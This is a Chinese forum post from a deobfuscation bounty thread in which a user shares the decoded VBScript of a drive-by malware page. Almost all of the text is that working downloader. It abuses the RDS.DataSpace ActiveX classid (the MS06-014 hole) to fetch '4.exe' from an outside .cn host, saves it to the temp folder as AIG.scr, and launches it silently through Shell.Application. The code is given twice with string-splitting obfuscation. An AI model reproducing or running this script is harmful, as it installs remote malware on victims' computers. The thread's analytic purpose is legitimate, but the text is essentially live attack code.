[解密悬赏][第14期][结束~]

lichun005

    khaourl = "http://nnnndddaa.cn/4.exe"

    khao="o"&"bj"&"ec"&"t"

    khao2="c"&"la"&"s"&"si"&"d"

    evil="C"&"5"&"5"&"6"&"-"&"6"&"5"&"A"&"3"&"-"

    evils="c"&"l"&"si"&"d"&":"&"B"&"D9"&"6"

    evilx=evils & evil &"1"&"1"&"D"&"0"&"-"&"9"&"8"&"3"&"A"&"-"&"0"&"0"&"C"&"0"&"4"&"F"&"C"&"2"&"9"&"E"&"3"&"6"

    khao3="M"&"ic"&"ro"&"so"&"ft"&".X"&"M"&"L"&"HT"&"T"&"P"

    khao4="Shell.Application"

    khao5="Sc"&"ri"&"p"&"ti"&"n"&"g.Fi"&"l"&"eSys"&"tem"&"Ob"&"je"&"ct"

    Set evilcute = document.createElement(khao)

    sub usicecod(khao4,khaox)

    set evilcutes = evilcute.createobject(khao4,"")

    evilcutes.ShellExEcutE evilcutex,"","","o"&"p"&"e"&"n",0

    end sub

    evilcute.setAttribute khao2, evilx

    chilam=khao3

    Set wing = evilcute.CreateObject(chilam,"")

    Anhey="A"&"d"&"o"&"d"&"b"&"."

    Anheys="S"&"t"&"r"

    Anheyx="e"&"a"&"m"

    User="andhi"

    Anti = Anhey & Anheys & Anheyx

    Antivirus = Anti

    set Rising = evilcute.createobject(Antivirus,"")

    Rising.type = 1

    Kaspersky="G"&"E"&"T"

    wing.Open Kaspersky, khaourl, False

    wing.Send

    evilcutex="AIG.scr"

    SeT Virus = evilcute.createobject(khao5,"")

    sET evilcutes = Virus.GetSpecialFolder(2)

    Rising.open

    evilcutex= Virus.BuildPath(evilcutes,evilcutex)

    Rising.write wing.responseBody

    Rising.savetofile evilcutex,2

    Rising.close

    call usicecod(khao4,khaox)直接去除"&"，再看看，O(∩_∩)O哈哈~
好像是加花了，前两天回家，没解，今天终于有时间了，不知道解全没，把第二的解了下

    khao2="c"&"la"&"s"&"si"&"d"

    evil="C"&"5"&"5"&"6"&"-"&"6"&"5"&"A"&"3"&"-"

    evils="c"&"l"&"si"&"d"&":"&"B"&"D9"&"6"

    evilx=evils & evil &"1"&"1"&"D"&"0"&"-"&"9"&"8"&"3"&"A"&"-"&"0"&"0"&"C"&"0"&"4"&"F"&"C"&"2"&"9"&"E"&"3"&"6"

    khao3="M"&"ic"&"ro"&"so"&"ft"&".X"&"M"&"L"&"HT"&"T"&"P"

    khao4="Shell.Application"

    khao5="Sc"&"ri"&"p"&"ti"&"n"&"g.Fi"&"l"&"eSys"&"tem"&"Ob"&"je"&"ct"

    Set evilcute = document.createElement(khao)

    sub usicecod(khao4,khaox)

    set evilcutes = evilcute.createobject(khao4,"")

    evilcutes.ShellExEcutE evilcutex,"","","o"&"p"&"e"&"n",0

    end sub

    evilcute.setAttribute khao2, evilx

    chilam=khao3

    Set wing = evilcute.CreateObject(chilam,"")

    Anhey="A"&"d"&"o"&"d"&"b"&"."

    Anheys="S"&"t"&"r"

    Anheyx="e"&"a"&"m"

    User="andhi"

    Anti = Anhey & Anheys & Anheyx

    Antivirus = Anti

    set Rising = evilcute.createobject(Antivirus,"")

    Rising.type = 1

    Kaspersky="G"&"E"&"T"

    wing.Open Kaspersky, khaourl, False

    wing.Send

    evilcutex="AIG.scr"

    SeT Virus = evilcute.createobject(khao5,"")

    sET evilcutes = Virus.GetSpecialFolder(2)

    Rising.open

    evilcutex= Virus.BuildPath(evilcutes,evilcutex)

    Rising.write wing.responseBody

    Rising.savetofile evilcutex,2

    Rising.close

    call usicecod(khao4,khaox)